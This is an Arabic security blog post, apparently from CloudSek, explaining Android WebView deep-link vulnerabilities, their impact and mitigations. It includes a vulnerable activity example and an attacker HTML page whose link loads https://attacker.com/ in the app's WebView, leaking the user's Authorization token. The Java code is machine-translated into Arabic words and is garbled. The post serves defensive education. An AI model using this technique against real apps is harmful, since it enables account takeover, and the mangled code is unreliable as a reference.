🚀 لقد رفعت CloudSek جولة B1 من السلسلة B1 بقيمة 19 مليون دولار - تعزيز مستقبل الأمن السيبراني التنبؤي
Back
استخبارات الخصم
Table of Content

ما هو عرض الويب

WebView هي طريقة بسيطة ولكنها قوية لتقديم محتوى قائم على الويب في Android. يتم استخدامه كمثيل متصفح ويب مخصص لتطبيق يمكنه تسليم صفحات الويب للمستخدمين. تم إصدار WebView لأول مرة كجزء من أندرويد 4.4. منذ Android 5.0، تم تضمينه كتطبيق للنظام.

تطبيقات ويب فيو:

  • تعمل الأطر الهجينة مثل Cordova أو PhoneGap (باستثناء Flutter) على لف تطبيقات HTML/JavaScript في حاوية Android الأصلية واستخدام WebView لجعلها تعمل.
  • تستخدم التطبيقات، مثل التطبيقات المصرفية، WebView لتقديم محتوى مثل «الشروط والأحكام»، والتي تتغير باستمرار.
  • يمكن للشركات ذات الميزانيات الصغيرة إنشاء تطبيقات محمولة تعرض محتوى الويب باستخدام WebView.

ما هي المشكلة؟

التهديد

ثغرات WebView التي تسمح للجهات الفاعلة في مجال التهديد بما يلي:

    • تحميل عناوين URL عشوائية
    • تنفيذ كود جافا سكريبت
    • تنفيذ التعليمات البرمجية عن بُعد

التأثير

  • تسرب رموز المصادقة
  • الوصول إلى واجهات جافا سكريبت
  • الهجمات على المعالجات الداخلية
  • سرقة الملفات التعسفية عبر استعلامات XHR
  • الوصول إلى ملفات تعريف الارتباط
  • استغلال موفري المحتوى

التخفيف

  • تحقق من صحة أصل (المضيف والمخطط) للروابط الخارجية التي تم تحميلها في WebView.
  • تأكد من تطهير JavaScript التي يتم استدعاؤها باستخدام البيانات التي تم الحصول عليها خارجيًا.

كيفية الاستغلال

سنستخدم ملف AndroidManifest.xml التالي لفهم كيف يمكن للجهات الفاعلة في مجال التهديد استغلال WebView

<activity android:name=» .DeeplinkActivity» >

<intent-filter>

<action android:name=» android.intent.action.VIEW» />

<category android:name=» android.intent.category.DEFAULT» />

<data android:scheme=» myapp» android:host=» deeplink» />

</intent-filter>

</activity>

لنفترض أن هذا الملف يمكنه معالجة روابط WebView العميقة:

يقوم نشاط DeepLinkActivity للطبقة العامة بتوسيع النشاط {

فراغ محمي عند الإنشاء (حالة الحالة المحفوظة في الحزمة) {

Super.on Create (حالة الحالة المحفوظة)؛

التعامل مع الرابط العميق (getintent ())؛

}

مقبض الفراغ الخاص DeepLink (نية النية) {

رابط أوري العميق = Intent.getData ()؛

إذا كان («/webview» .يساوي (ديبلنك.getPath ())) {

رابط السلسلة = ديبلينك.getQuery المعلمة («عنوان url»)؛

التعامل مع رابط ويب فيو العميق (عنوان url)؛

}

}

مقبض باطل خاص WebViewDeepLink (رابط السلسلة) {

عرض ويب فيو =...؛

إعداد عرض الويب (عرض الويب)؛

عنوان URL الخاص بـ WebView.load (عنوان URL، GetAuthheaders ())؛

}

خريطة خاصة<String, String> GetAuthheaders () {

<String, String>رؤوس الخرائط = HashMap الجديدة<> ()؛

headers.put («التفويض»، احصل على رمز المستخدم ())؛

رؤوس الإرجاع؛

}

}

في هذه الحالة، يمكن للمهاجم تنفيذ هجوم عن بُعد للحصول على رمز المصادقة الخاص بالمستخدم عن طريق إنشاء صفحة تحتوي على الكود التالي:

<html>

<body style=» text-align: center;» >

<h1><a href=» myapp: //ديبلنك/ويبفيو؟ عنوان url =https://attacker.com/«>انقر فوقي!</a></h1>

</body></html>

عندما تنقر الضحية على زر «انقر فوقي»، سيفتح التطبيق الضعيف https://attacker[.]com، في WebView، جنبًا إلى جنب مع عنوان التفويض. يمكن للمهاجم استخدام رموز المصادقة المسروقة للوصول الكامل إلى حساب الضحية.

المراجع

Related Blogs